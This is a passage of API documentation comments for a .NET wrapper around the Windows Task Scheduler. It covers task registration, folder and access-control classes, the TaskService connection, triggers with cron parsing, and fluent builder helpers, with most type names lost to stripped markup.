represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the 